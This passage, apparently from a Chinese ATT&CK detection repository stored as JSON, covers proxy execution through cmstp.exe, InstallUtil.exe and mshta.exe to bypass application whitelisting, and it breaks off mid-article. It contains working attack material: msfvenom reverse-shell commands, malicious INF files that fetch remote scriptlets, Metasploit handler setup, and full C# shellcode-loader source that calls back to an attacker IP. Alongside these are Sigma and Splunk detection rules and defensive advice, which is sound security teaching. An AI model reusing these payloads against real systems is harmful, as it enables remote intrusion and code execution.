部署Sysmon，配置针对`control.exe`和`rundll32.exe`的规则，监控CPL加载和注册表操作。\n2. 网络隔离：\n   - 限制非必要主机的出站连接，尤其是到未知IP的高危端口（如4444）。\n3. 文件审查：\n   - 定期扫描非系统路径下的CPL文件，结合静态分析验证是否导出`CPlApplet`。\n4. 权限控制：\n   - 限制普通用户执行`control.exe`或修改控制面板注册表键的权限。\n5. 安全更新：\n   - 保持Windows系统和控制面板组件更新，修复潜在漏洞。\n\n## 参考推荐\n- MITRE ATT&CK T1218.002:  \n  <https://attack.mitre.org/techniques/T1218/002/>\n- 跟着ATT&CK学安全之defense-evasion:  \n  <https://snappyjack.github.io/articles/2020-01/%E8%B7%9F%E7%9D%80ATT&CK%E5%AD%A6%E5%AE%89%E5%85%A8%E4%B9%8Bdefense-evasion>\n- Sysmon配置与检测:  \n  <https://github.com/SwiftOnSecurity/sysmon-config>\n- Metasploit Framework: 用于生成和测试反弹Shell。  \n  <https://www.metasploit.com/>\n- Sysmon: Microsoft提供的系统监控工具。  \n  <https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon>\n"
  },
  {
    "path": "Windows/07逃避防御/T1218.003-Win-使用Cmstp.exe执行Payload(白名单).md",
    "content": "、# T1218.003-使用Cmstp.exe执行Payload（白名单绕过）\n\n## 描述\n\n`Cmstp.exe`是Microsoft提供的命令行工具，用于安装或删除连接管理器服务配置文件（Connection Manager Service Profile）。它接受安装信息文件（INF）作为参数，用于配置远程访问连接的服务。\n\n攻击者可利用`Cmstp.exe`加载恶意INF文件，通过其中定义的命令执行动态链接库（DLL）或COM脚本小程序（SCT），从而实现代码执行。与T1218.011（Regsvr32/\"Squiblydoo\"）类似，`Cmstp.exe`因其为Microsoft签名的合法工具，常被滥用来绕过AppLocker或其他白名单防御机制。此外，`Cmstp.exe`还可能通过自动提升的COM接口（如`CMLUA.dll`）绕过用户账户控制（UAC），执行INF文件中定义的任意恶意命令。\n\n`Cmstp.exe`位于Windows系统路径中：\n\n- 32位：`C:\\Windows\\System32\\cmstp.exe`\n- 64位系统中的32位版本：`C:\\Windows\\SysWOW64\\cmstp.exe`\n\n该工具已包含在系统`PATH`环境变量中，可直接通过`cmstp`命令调用，需注意32位和64位版本的区别。\n\n## 测试案例\n\n### 案例说明\n`Cmstp.exe`用于安装或删除连接管理器服务配置文件。若不指定可选参数，`Cmstp.exe`将使用默认设置（基于操作系统和用户权限）安装服务配置文件。常用参数包括：\n- `/s`：指定INF文件的路径。\n- `/ni`：不创建桌面快捷方式，减少可见痕迹。\n- `/au`：以自动提升权限执行，可能绕过UAC。\n\n### 补充说明\n- 日志监控：\n  - 在高版本Windows系统（如Windows 7及以上），可通过组策略启用进程命令行参数记录：\n    - 路径：`本地计算机策略>计算机配置>管理模板>系统>审核进程创建>在过程创建事件中加入命令行>启用`\n  - 部署Sysmon（System Monitor）并配置规则，可记录进程创建、命令行和网络活动。\n- 局限性：\n  - 默认Windows事件日志可能不记录完整命令行参数，需启用审核策略。\n  - 合法的连接管理器服务部署可能触发类似日志，需结合上下文分析。\n\n## 检测日志\n\n### 数据来源\n- Windows安全日志：\n  - 事件ID 4688：进程创建事件，记录进程名称、命令行参数和父进程信息。\n  - 需启用命令行审核策略以捕获完整参数。\n- Sysmon日志：\n  - 事件ID 1：进程创建，包含进程信息、命令行和哈希值。\n  - 事件ID 7：映像加载，记录加载的DLL（如`CMLUA.dll`或恶意DLL）。\n  - 事件ID 12/13：注册表操作，记录对`HKLM\\SOFTWARE\\Microsoft\\Connection Manager`等键的访问。\n- 文件监控：\n  - 检测临时目录或非标准路径下的INF文件或DLL/SCT文件。\n- 网络监控：\n  - 检测`Cmstp.exe`发起的异常网络连接（如WebDAV或反弹Shell）。\n\n### 日志示例\n- 事件ID 4688示例：\n  ```\n  进程信息:\n    新进程名称:C:\\Windows\\System32\\cmstp.exe\n    命令行:cmstp.exe /ni /s C:\\Users\\12306Br0\\Desktop\\a\\add.inf\n    创建者进程名称:C:\\Windows\\System32\\cmd.exe\n  ```\n- Sysmon事件ID 1示例：\n  ```\n  事件ID:1\n  OriginalFileName:CMSTP.EXE\n  CommandLine:cmstp.exe /ni /s C:\\Users\\12306Br0\\Desktop\\a\\add.inf\n  CurrentDirectory:C:\\Windows\\system32\\\n  User:12306Br0-PC\\12306Br0\n  Hashes:SHA1=BA135738EF1FB2F4C2C6C610BE2C4E855A526668\n  ParentImage:C:\\Windows\\System32\\cmd.exe\n  ```\n\n## 测试复现\n\n### 环境准备\n- 攻击机：Kali Linux 2019（或其他支持Metasploit的系统）\n- 靶机：Windows 7（或其他支持`Cmstp.exe`的Windows系统）\n- 工具：\n  - Metasploit Framework（用于生成Payload和监听）\n  - Sysmon（可选，用于日志收集）\n\n### 攻击分析\n\n#### 1.生成恶意DLL\n在攻击机上使用`msfvenom`生成恶意DLL：\n\n```bash\nmsfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.126.146 LPORT=53 -f dll -o payload.dll\n```\n\n- 参数说明：\n  - `-a x86`：指定32位架构。\n  - `-p windows/meterpreter/reverse_tcp`：生成反弹Shell Payload。\n  - `LHOST`和`LPORT`：指定攻击机IP和端口。\n  - `-f dll`：输出为DLL格式。\n  - `-o payload.dll`：输出文件名。\n\n将生成的`payload.dll`传输到靶机（如`C:\\Users\\12306Br0\\Desktop\\a\\payload.dll`）。\n\n#### 2.创建INF文件\n创建包含恶意DLL或SCT的INF文件。以下是两个INF文件示例：\n\n**本地DLL的INF文件**：\n```inf\n[version]\nSignature=$chicago$\nAdvancedINF=2.5\n[DefaultInstall_SingleUser]\nUnRegisterOCXs=UnRegisterOCXSection\n[UnRegisterOCXSection]\nC:\\Users\\12306Br0\\Desktop\\a\\payload.dll\n[Strings]\nAppAct=\"SOFTWARE\\Microsoft\\Connection Manager\"\nServiceName=\"12306Br0\"\nShortSvcName=\"12306Br0\"\n```\n\n**远程SCT的INF文件**：\n```inf\n[version]\nSignature=$chicago$\nAdvancedINF=2.5\n[DefaultInstall_SingleUser]\nUnRegisterOCXs=UnRegisterOCXSection\n[UnRegisterOCXSection]\n%11%\\scrobj.dll,NI,http://192.168.1.4/cmstp_rev_53_x64.sct\n[Strings]\nAppAct=\"SOFTWARE\\Microsoft\\Connection Manager\"\nServiceName=\"Micropoor\"\nShortSvcName=\"Micropoor\"\n```\n\n- 说明：\n  - `UnRegisterOCXs`：指定在卸载时执行的OCX/DLL/SCT。\n  - 本地路径（如`C:\\Users\\12306Br0\\Desktop\\a\\payload.dll`）或远程WebDAV路径（如`http://192.168.1.4/cmstp_rev_53_x64.sct`）均可。\n  - `scrobj.dll`：用于执行SCT脚本的COM组件。\n\n将INF文件保存到靶机（如`C:\\Users\\12306Br0\\Desktop\\a\\add.inf`）。\n\n#### 3.配置攻击机监听\n在攻击机上使用Metasploit配置反弹Shell监听：\n\n```bash\nmsf5>use exploit/multi/handler\nmsf5 exploit(multi/handler)>set payload windows/meterpreter/reverse_tcp\nmsf5 exploit(multi/handler)>set LHOST 192.168.126.146\nmsf5 exploit(multi/handler)>set LPORT 53\nmsf5 exploit(multi/handler)>set AutoRunScript migrate -f\nmsf5 exploit(multi/handler)>exploit\n```\n\n- 参数说明：\n  - `payload`：使用`windows/meterpreter/reverse_tcp`生成反弹Shell。\n  - `LHOST`和`LPORT`：指定攻击机IP和端口（此处为53，可能用于规避防火墙）。\n  - `AutoRunScript migrate -f`：自动迁移Meterpreter会话到其他进程（如`explorer.exe`），增强隐蔽性。\n\n#### 4.执行Payload\n在靶机上执行`Cmstp.exe`，加载INF文件：\n\n```cmd\ncmstp.exe /ni /s C:\\Users\\12306Br0\\Desktop\\a\\add.inf\n```\n\n- 参数说明：\n  - `/ni`：不创建桌面快捷方式，减少可见痕迹。\n  - `/s`：指定INF文件路径。\n\n如果INF文件引用远程SCT，还需在攻击机上托管SCT文件（如通过WebDAV服务器）。\n\n#### 5.反弹Shell\n执行后，`Cmstp.exe`加载INF文件中指定的DLL或SCT，触发Payload，靶机连接到攻击机的Metasploit监听端口，生成Meterpreter会话。若未获取Shell，可能原因包括：\n- 防火墙阻止出站连接。\n- INF文件配置错误（如路径无效）。\n- Payload与系统架构不兼容（需确认32位/64位）。\n\n## 测试留痕\n\n### Windows安全日志\n- 事件ID 4688：\n  - 记录`Cmstp.exe`的执行，包含命令行参数和父进程。\n  - 示例：\n    ```\n    进程信息:\n      新进程名称:C:\\Windows\\System32\\cmstp.exe\n      命令行:cmstp.exe /ni /s C:\\Users\\12306Br0\\Desktop\\a\\add.inf\n      创建者进程名称:C:\\Windows\\System32\\cmd.exe\n    ```\n\n### Sysmon日志\n- 事件ID 1：\n  - 记录进程创建的详细信息：\n    ```\n    事件ID:1\n    OriginalFileName:CMSTP.EXE\n    CommandLine:cmstp.exe /ni /s C:\\Users\\12306Br0\\Desktop\\a\\add.inf\n    CurrentDirectory:C:\\Windows\\system32\\\n    User:12306Br0-PC\\12306Br0\n    Hashes:SHA1=BA135738EF1FB2F4C2C6C610BE2C4E855A526668\n    ParentImage:C:\\Windows\\System32\\cmd.exe\n    ```\n- 事件ID 7：\n  - 记录加载的DLL（如`CMLUA.dll`或`payload.dll`）。\n- 事件ID 12/13：\n  - 记录注册表操作，如对`HKLM\\SOFTWARE\\Microsoft\\Connection Manager`的修改。\n\n### 文件痕迹\n- INF文件和DLL/SCT文件存储在用户指定路径（如`C:\\Users\\12306Br0\\Desktop\\a\\`）。\n- 可能创建临时注册表键（如`HKLM\\SOFTWARE\\Microsoft\\Connection Manager`）。\n\n## 检测规则/思路\n\n### 检测方法\n1. 进程监控：\n   - 检测`Cmstp.exe`的异常执行，特别是带有`/ni`、`/s`或`/au`参数的情况。\n   - 检查父进程（如`cmd.exe`、`powershell.exe`）和加载的DLL/SCT。\n2. 命令行分析：\n   - 使用正则表达式匹配可疑参数：\n     ```regex\n     cmstp\\.exe.*(/ni|/s|/au).*\\.inf\n     ```\n3. 网络流量：\n   - 检测`Cmstp.exe`发起的异常网络连接（如WebDAV请求或反弹Shell）。\n4. 文件监控：\n   - 检测临时目录或非标准路径下的INF、DLL或SCT文件。\n5. 行为分析：\n   - 检测`Cmstp.exe`加载`CMLUA.dll`（UAC绕过）或非标准DLL。\n   - 监控注册表键`HKLM\\SOFTWARE\\Microsoft\\Connection Manager`的创建或修改。\n\n### Sigma规则\n以下是一个针对`Cmstp.exe`可疑执行的Sigma规则，适用于SIEM系统（如Splunk、Elastic）检测Windows安全日志或Sysmon日志中的异常行为。\n\n```yaml\ntitle:可疑Cmstp.exe执行\nid:9e4b7a2f-3c8d-4a2b-9e7c-4d5e6f7a8b9c\ndescription:检测Cmstp.exe的异常执行，可能用于加载恶意INF文件执行DLL或SCT\nstatus:experimental\nlogsource:\n  category:process_creation\n  product:windows\ndetection:\n  selection:\n    Image|endswith:'\\cmstp.exe'\n    CommandLine|contains:\n      - '/ni'\n      - '/s'\n      - '/au'\n      - '.inf'\n  filter_legitimate:\n    ParentImage|endswith:\n      - '\\msiexec.exe'\n      - '\\devenv.exe'\n  condition:selection and not filter_legitimate\nfields:\n  - Image\n  - CommandLine\n  - ParentImage\n  - User\nfalsepositives:\n  - 合法的连接管理器服务部署（如VPN配置）\nlevel:high\ntags:\n  - attack.execution\n  - attack.t1218.003\n```\n\n规则说明：\n- 目标：检测`Cmstp.exe`的进程创建事件，重点关注带有`/ni`、`/s`、`/au`或`.inf`的命令行。\n- 过滤：排除由合法工具（如`msiexec.exe`、`devenv.exe`）触发的执行，减少误报。\n- 日志来源：Windows事件ID 4688（需启用命令行审核）或Sysmon事件ID 1。\n- 误报处理：合法的VPN或连接管理器部署可能触发此规则，需结合上下文（如INF文件内容、父进程）分析。\n- 级别：标记为“高”优先级，因`Cmstp.exe`的异常使用通常与恶意活动相关。\n\n### Splunk规则\n以下是优化后的Splunk查询，用于检测`Cmstp.exe`的异常行为：\n\n```spl\nindex=windows source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" \n(EventCode=1 Image=\"*\\cmstp.exe\" CommandLine IN (\"*/ni*\",\"*/s*\",\"*/au*\",\"*.inf*\")) \nOR (EventCode=7 Image=\"*\\cmstp.exe\" ImageLoaded=\"*\\CMLUA.dll\") \nOR (EventCode IN (12,13) TargetObject IN (\"*\\Microsoft\\Connection Manager*\",\"*\\CMMGR32.exe\"))\n| fields Image,CommandLine,ParentImage,User,ImageLoaded,TargetObject\n```\n\n规则说明：\n- 检测`Cmstp.exe`的进程创建（事件ID 1）、加载`CMLUA.dll`（事件ID 7，UAC绕过指示）或访问相关注册表键（事件ID 12/13）。\n- 减少误报：排除合法场景，结合上下文分析。\n\n### 检测挑战\n- 误报：合法的连接管理器服务部署（如VPN配置）可能触发类似日志，需结合INF文件内容和网络行为分析。\n- 日志依赖：默认Windows日志可能不足以捕获完整命令行，需启用审核策略或部署Sysmon。\n\n## 防御建议\n1. 监控和日志：\n   - 启用命令行审核策略，确保事件ID 4688记录完整参数。\n   - 部署Sysmon并配置针对`Cmstp.exe`的详细规则，监控进程创建和注册表操作。\n2. 网络隔离：\n   - 限制非必要主机的出站连接，尤其是到未知IP的高危端口（如53、4444）或WebDAV请求。\n3. 文件审查：\n   - 定期扫描临时目录，检测异常的INF、DLL或SCT文件，结合静态分析（如反编译DLL）。\n4. 权限控制：\n   - 限制普通用户的`Cmstp.exe`执行权限，防止未经授权的调用。\n5. 安全更新：\n   - 保持Windows系统和相关组件更新，修复潜在漏洞。\n\n## 参考推荐\n- MITRE ATT&CK T1218.003:  \n  <https://attack.mitre.org/techniques/T1218/003/>\n- Windows下基于白名单获取Shell的方法整理（下）:  \n  <http://www.safe6.cn/article/157#directory030494471069429444>\n- 基于白名单Cmstp.exe执行Payload第十六季:  \n  <https://www.bookstack.cn/read/Micro8/Chapter1-81-90-87_%E5%9F%BA%E4%BA%8E%E7%99%BD%E5%90%8D%E5%8D%95Cmstp.exe%E6%89%A7%E8%A1%8Cpayload%E7%AC%AC%E5%8D%81%E5%85%AD%E5%AD%A3.md>\n- Sysmon配置与检测:  \n  <https://github.com/SwiftOnSecurity/sysmon-config>\n- Metasploit Framework: 用于生成和测试反弹Shell。  \n  <https://www.metasploit.com/>\n- Sysmon: Microsoft提供的系统监控工具。  \n  <https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon>\n"
  },
  {
    "path": "Windows/07逃避防御/T1218.004-Win-使用Installutil.exe执行payload(白名单).md",
    "content": "# T1218.004-使用InstallUtil.exe执行Payload（白名单绕过）\n\n## 描述\n\n`InstallUtil.exe`是一个由Microsoft提供的命令行实用程序，用于安装和卸载.NET应用程序中的资源。它位于Windows系统中的.NET Framework目录下：\n\n- 32位路径：`C:\\Windows\\Microsoft.NET\\Framework\\v<版本>\\InstallUtil.exe`\n- 64位路径：`C:\\Windows\\Microsoft.NET\\Framework64\\v<版本>\\InstallUtil.exe`\n\n该工具由Microsoft进行数字签名，被视为受信任的Windows实用程序。攻击者可利用`InstallUtil.exe`通过执行.NET二进制文件中指定的安装程序组件来代理执行恶意代码。这种技术允许攻击者伪装成合法操作，绕过基于白名单的防御机制。\n\n具体而言，攻击者可以在.NET二进制文件中嵌入恶意代码，并通过使用`[System.ComponentModel.RunInstaller(true)]`属性修饰的类，在`InstallUtil.exe`执行安装或卸载操作（如使用`/U`参数）时触发代码执行。`InstallUtil.exe`支持多种参数（如`/logfile=`、`/LogToConsole=false`），可用于减少执行痕迹，增强隐蔽性。\n\n此技术常用于初始访问后的持久化、权限提升或横向移动阶段，因其利用了受信任的系统工具而难以被传统防病毒软件检测。\n\n## 测试案例\n\n### 案例说明\n`InstallUtil.exe`通常未包含在系统的`PATH`环境变量中，因此直接运行`InstallUtil`命令会提示“命令未找到”。需要使用完整路径调用，例如：\n```cmd\nC:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallUtil.exe\n```\n\n### 补充说明\n- **日志监控**：\n  - 在高版本Windows系统中（如Windows Server 2012及以上），可通过组策略启用进程命令行参数的记录：\n    - 路径：`本地计算机策略>计算机配置>管理模板>系统>审核进程创建>在过程创建事件中加入命令行>启用`\n  - 部署**Sysmon**（System Monitor）并配置适当规则，可记录详细的进程创建和命令行活动。\n- **局限性**：\n  - 默认情况下，Windows事件日志可能不记录完整的命令行参数，需手动启用审核策略。\n  - `InstallUtil.exe`的合法使用场景（如.NET应用程序部署）可能产生类似日志，需结合上下文分析。\n\n## 检测日志\n\n### 数据来源\n- **Windows安全日志**：\n  - **事件ID 4688**：进程创建事件，记录进程名称、命令行参数和父进程信息。\n  - 需启用命令行审核策略以捕获完整参数。\n- **Sysmon日志**：\n  - **事件ID 1**：进程创建，包含详细的进程信息、命令行和哈希值。\n  - **事件ID 7**：映像加载，记录加载的DLL。\n- **文件监控**：\n  - 检测临时目录或非标准路径下的.NET二进制文件。\n- **网络监控**：\n  - 检测由`InstallUtil.exe`触发的异常网络连接（如反弹Shell）。\n\n## 测试复现\n\n### 环境准备\n- **攻击机**：Kali Linux 2019（或其他支持Metasploit的系统）\n- **靶机**：Windows Server 2012（或其他支持.NET Framework的Windows系统）\n- **工具**：\n  - Metasploit Framework（用于生成Payload和监听）\n  - .NET Framework开发环境（用于编译恶意代码）\n  - Sysmon（可选，用于日志收集）\n\n### 攻击分析\n\n#### 1.生成恶意C#代码\n以下是恶意C#代码，用于实现反弹Shell：\n\n```csharp\nusing System;\nusing System.Net;\nusing System.Net.Sockets;\nusing System.Runtime.InteropServices;\nusing System.Configuration.Install;\nusing System.Windows.Forms;\n\npublic class GQLBigHgUniLuVx {\n    public static void Main() {\n        while (true) {\n            MessageBox.Show(\"doge\");\n            Console.ReadLine();\n        }\n    }\n}\n\n[System.ComponentModel.RunInstaller(true)]\npublic class esxWUYUTWShqW : System.Configuration.Install.Installer {\n    public override void Uninstall(System.Collections.IDictionary zWrdFAUHmunnu) {\n        jkmhGrfzsKQeCG.LCIUtRN();\n    }\n}\n\npublic class jkmhGrfzsKQeCG {\n    [DllImport(\"kernel32\")]\n    private static extern UInt32 VirtualAlloc(UInt32 YUtHhF,UInt32 VenifEUR,UInt32 NIHbxnOmrgiBGL,UInt32 KIheHEUxhAfOI);\n    \n    [DllImport(\"kernel32\")]\n    private static extern IntPtr CreateThread(UInt32 GDmElasSZbx,UInt32 rGECFEZG,UInt32 UyBSrAIp,IntPtr sPEeJlufmodo,UInt32 jmzHRQU,ref UInt32 SnpQPGMvDbMOGmn);\n    \n    [DllImport(\"kernel32\")]\n    private static extern UInt32 WaitForSingleObject(IntPtr pRIwbzTTS,UInt32 eRLAWWYQnq);\n\n    static byte[] ErlgHH(string ZwznjBJY,int KsMEeo) {\n        IPEndPoint qAmSXHOKCbGlysd=new IPEndPoint(IPAddress.Parse(ZwznjBJY),KsMEeo);\n        Socket XXxIoIXNCle=new Socket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.Tcp);\n        try {XXxIoIXNCle.Connect(qAmSXHOKCbGlysd);} catch {return null;}\n        byte[] UmquAHRnhhpuE=new byte[4];\n        XXxIoIXNCle.Receive(UmquAHRnhhpuE,4,0);\n        int kFVRSNnpj=BitConverter.ToInt32(UmquAHRnhhpuE,0);\n        byte[] qaYyFq=new byte[kFVRSNnpj+5];\n        int SRCDELibA=0;\n        while(SRCDELibA<kFVRSNnpj) {\n            SRCDELibA+=XXxIoIXNCle.Receive(qaYyFq,SRCDELibA+5,(kFVRSNnpj-SRCDELibA)<4096?(kFVRSNnpj-SRCDELibA):4096,0);\n        }\n        byte[] TvvzOgPLqwcFFv=BitConverter.GetBytes((int)XXxIoIXNCle.Handle);\n        Array.Copy(TvvzOgPLqwcFFv,0,qaYyFq,1,4);\n        qaYyFq[0]=0xBF;\n        return qaYyFq;\n    }\n\n    static void cmMtjerv(byte[] HEHUjJhkrNS) {\n        if(HEHUjJhkrNS!=null) {\n            UInt32 WcpKfU=VirtualAlloc(0,(UInt32)HEHUjJhkrNS.Length,0x1000,0x40);\n            Marshal.Copy(HEHUjJhkrNS,0,(IntPtr)(WcpKfU),HEHUjJhkrNS.Length);\n            IntPtr UhxtIFnlOQatrk=IntPtr.Zero;\n            UInt32 wdjYKFDCCf=0;\n            IntPtr XVYcQxpp=IntPtr.Zero;\n            UhxtIFnlOQatrk=CreateThread(0,0,WcpKfU,XVYcQxpp,0,ref wdjYKFDCCf);\n            WaitForSingleObject(UhxtIFnlOQatrk,0xFFFFFFFF);\n        }\n    }\n\n    public static void LCIUtRN() {\n        byte[] IBtCWU=null;\n        IBtCWU=ErlgHH(\"192.168.126.146\",4444);\n        cmMtjerv(IBtCWU);\n    }\n}\n```\n\n**代码分析**：\n- **功能**：该代码实现了一个反弹Shell，通过TCP连接到攻击者控制的服务器（`192.168.126.146:4444`），接收并执行远程Payload。\n- **关键组件**：\n  - `GQLBigHgUniLuVx`：包含一个简单的`Main`方法，显示消息框（可能是用于调试或混淆）。\n  - `esxWUYUTWShqW`：继承自`Installer`类，使用`[RunInstaller(true)]`属性，在卸载操作（`/U`参数）时触发`LCIUtRN`方法。\n  - `jkmhGrfzsKQeCG`：核心恶意逻辑，包含：\n    - `ErlgHH`：建立TCP连接，接收Payload。\n    - `cmMtjerv`：使用`VirtualAlloc`分配内存，复制Payload并创建线程执行。\n    - `LCIUtRN`：发起连接并执行Payload。\n- **混淆**：使用随机类名和变量名（如`esxWUYUTWShqW`、`ZwznjBJY`）以规避静态分析。\n\n#### 2.编译Payload\n在靶机上使用.NET Framework的C#编译器（`csc.exe`）编译代码：\n\n```cmd\nC:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe /r:System.EnterpriseServices.dll /r:System.IO.Compression.dll /target:library /out:Micropoor.exe /unsafe C:\\Users\\Administrator\\Desktop\\a\\installutil.cs\n```\n\n- **参数说明**：\n  - `/r`：引用必要的DLL（如`System.EnterpriseServices.dll`）。\n  - `/target:library`：输出为DLL文件，适合`InstallUtil.exe`执行。\n  - `/unsafe`：允许不安全的代码（如调用`VirtualAlloc`）。\n  - `/out`：指定输出文件名（`Micropoor.exe`）。\n- **输出**：生成`Micropoor.exe`，实际上是一个.NET程序集。\n\n![编译payload](https://img-blog.csdnimg.cn/20200413152034249.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM2MzM0NDY0,size_16,color_FFFFFF,t_70)\n\n#### 3.配置攻击机监听\n在攻击机上使用Metasploit配置反弹Shell监听：\n\n```bash\nmsf5>use exploit/multi/handler\nmsf5 exploit(multi/handler)>set PAYLOAD windows/meterpreter/reverse_tcp\nmsf5 exploit(multi/handler)>set LHOST 192.168.126.146\nmsf5 exploit(multi/handler)>set LPORT 4444\nmsf5 exploit(multi/handler)>set AutoRunScript migrate -f\nmsf5 exploit(multi/handler)>exploit\n```\n\n- **参数说明**：\n  - `PAYLOAD`：使用`windows/meterpreter/reverse_tcp`生成反弹Shell。\n  - `LHOST`和`LPORT`：指定攻击机的IP和端口。\n  - `AutoRunScript migrate -f`：自动将Meterpreter会话迁移到其他进程（如`explorer.exe`），增强隐蔽性。\n\n![监听](https://img-blog.csdnimg.cn/20200413152209214.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM2MzM0NDY0,size_16,color_FFFFFF,t_70)\n\n#### 4.执行Payload\n在靶机上使用`InstallUtil.exe`执行编译好的Payload：\n\n```cmd\nC:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallUtil.exe /logfile= /LogToConsole=false /U Micropoor.exe\n```\n\n- **参数说明**：\n  - `/logfile=`：不生成日志文件。\n  - `/LogToConsole=false`：禁用控制台输出，减少痕迹。\n  - `/U`：触发卸载操作，调用`[RunInstaller(true)]`修饰的类的`Uninstall`方法。\n\n#### 5.反弹Shell\n执行后，靶机连接到攻击机的Metasploit监听端口，生成Meterpreter会话。攻击者可通过Meterpreter执行后续操作，如提权、持久化或横向移动。\n\n![执行payload](https://img-blog.csdnimg.cn/20200413152353294.png)\n\n## 测试留痕\n\n![日志留痕](https://img-blog.csdnimg.cn/20200413152656624.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM2MzM0NDY0,size_16,color_FFFFFF,t_70)\n\n## 检测规则/思路\n\n### 检测方法\n1. **进程监控**：\n   - 检测`InstallUtil.exe`的异常执行，特别是非标准路径或带有可疑参数（如`/U`、`/logfile=`）。\n   - 检查父进程（如`cmd.exe`、`powershell.exe`）和子进程的上下文。\n2. **命令行分析**：\n   - 使用正则表达式匹配可疑参数：\n     ```regex\n     InstallUtil\\.exe.*(/U|/logfile=|/LogToConsole=false).*\\.exe\n     ```\n3. **网络流量**：\n   - 检测`InstallUtil.exe`发起的非预期网络连接，尤其是到外部IP的TCP会话。\n4. **文件监控**：\n   - 检测临时目录或用户目录下的新.NET二进制文件，结合静态分析（如反编译）。\n5. **行为分析**：\n   - 检测`InstallUtil.exe`加载非标准DLL或调用内存分配函数（如`VirtualAlloc`）。\n\n### Sigma规则\n以下是一个针对`InstallUtil.exe`可疑执行的Sigma规则，适用于SIEM系统（如Splunk、Elastic）检测Windows安全日志或Sysmon日志中的异常行为。\n\n```yaml\ntitle: 可疑InstallUtil.exe执行\nid: 8f7b5e3a-7b9c-4f2a-9d8e-3c4f5b6a7c8d\ndescription: 检测InstallUtil.exe的异常执行，可能用于代理执行恶意.NET二进制文件\nstatus: experimental\ndate: 2025/06/15\nlogsource:\n  category: process_creation\n  product: windows\ndetection:\n  selection:\n    Image|endswith: '\\InstallUtil.exe'\n    CommandLine|contains:\n      - '/U'\n      - '/logfile='\n      - '/LogToConsole=false'\n  filter_legitimate:\n    ParentImage|endswith:\n      - '\\msbuild.exe'\n      - '\\devenv.exe'\n  condition: selection and not filter_legitimate\nfields:\n  - Image\n  - CommandLine\n  - ParentImage\n  - User\nfalsepositives:\n  - 合法的.NET应用程序部署（如开发环境中使用Visual Studio或MSBuild）\nlevel: high\ntags:\n  - attack.execution\n  - attack.t1218.004\n```\n\n**规则说明**：\n- **目标**：检测`InstallUtil.exe`的进程创建事件，重点关注带有`/U`、`/logfile=`或`/LogToConsole=false`等可疑参数的执行。\n- **过滤**：排除由合法开发工具（如`msbuild.exe`、`devenv.exe`）触发的执行，减少误报。\n- **日志来源**：Windows事件ID 4688（需启用命令行审核）或Sysmon事件ID 1。\n- **误报处理**：合法的.NET部署可能触发此规则，需结合上下文（如父进程、文件路径）进一步分析。\n- **级别**：标记为“高”优先级，因`InstallUtil.exe`的异常使用通常与恶意活动相关。\n\n### 检测挑战\n- **误报**：合法的.NET应用程序部署可能使用`InstallUtil.exe`，需结合上下文（如文件路径、命令行参数）排除。\n- **日志依赖**：默认Windows日志可能不足以捕获完整命令行，需启用审核策略或部署Sysmon。\n\n## 防御建议\n\n1. **监控和日志**：\n   - 启用命令行审核策略，确保事件ID 4688记录完整参数。\n   - 部署Sysmon并配置针对`InstallUtil.exe`的详细规则。\n2. **网络隔离**：\n   - 限制非必要主机的出站连接，尤其是到未知IP的高危端口（如4444）。\n3. **代码审查**：\n   - 对开发环境中使用的.NET二进制文件进行静态分析，检测可疑属性（如`[RunInstaller(true)]`）。\n4. **权限控制**：\n   - 限制普通用户的执行权限，防止未经授权的`InstallUtil.exe`调用。\n5. **安全更新**：\n   - 保持.NET Framework和Windows系统更新，修复潜在漏洞。\n\n## 参考推荐\n\n- MITRE ATT&CK: T1218.004  \n  <https://attack.mitre.org/techniques/T1218/004/>\n- 基于白名单InstallUtil.exe执行Payload  \n  <https://micro8.gitbook.io/micro8/contents-1/71-80/72-ji-yu-bai-ming-dan-installutil.exe-zhi-hang-payload-di-er-ji>\n- 基于白名单的Payload技术分析  \n  <https://blog.csdn.net/weixin_30790841/article/details/101848854>\n- InstallUtil.exe绕过白名单的实现  \n  <https://www.ired.team/offensive-security/code-execution/using-installutil.exe-to-execute-malicious-code>\n- Sysmon配置与检测  \n  <https://github.com/SwiftOnSecurity/sysmon-config>\n"
  },
  {
    "path": "Windows/07逃避防御/T1218.005-Win-使用Mshta.exe执行payload(白名单).md",
    "content": "# T1218.005-Win-使用Mshta.exe执行Payload（白名单）\n\n## 描述\n\n攻击者可能利用**mshta.exe**代理执行恶意代码，规避安全工具的检测（MITRE ATT&CK T1218.005）。`mshta.exe`是Windows内置工具，用于执行HTML应用程序（HTA文件，扩展名`.hta`），由微软数字签名，常被白名单或误报。攻击者可通过`mshta.exe`加载本地或远程HTA文件、内联VBScript/JScript，或直接调用远程脚本（如SCT文件），执行恶意Payload，如Meterpreter反向Shell。此技术利用`mshta.exe`的合法性和其在浏览器安全上下文之外执行的特点，绕过应用程序白名单和浏览器安全设置，适用于防御规避和初始访问。\n\n本案例聚焦于使用`mshta.exe`加载远程HTA文件（如`http://<IP>/Uj6Tcv.hta`），执行Meterpreter反向Shell，模拟攻击者绕过白名单的场景。\n\n## 测试案例\n\n### 测试1：使用Mshta.exe执行远程HTA Payload\n\n攻击者通过`mshta.exe`加载远程HTA文件，触发反向Shell。\n\n**环境要求**：\n- 攻击机：Kali Linux（或其他Metasploit支持的系统）\n- 靶机：Windows Server 2012（支持Windows 7及以上，需安装.NET Framework 3.5+）\n- 工具：Metasploit（生成Payload）、`mshta.exe`（系统自带）\n- 权限：普通用户\n- 路径：\n  - `C:\\Windows\\System32\\mshta.exe`\n  - `C:\\Windows\\SysWOW64\\mshta.exe`\n\n**攻击命令**（靶机）：\n```cmd\nmshta.exe http://192.168.126.146:8080/Uj6Tcv.hta\n```\n\n**说明**：\n- 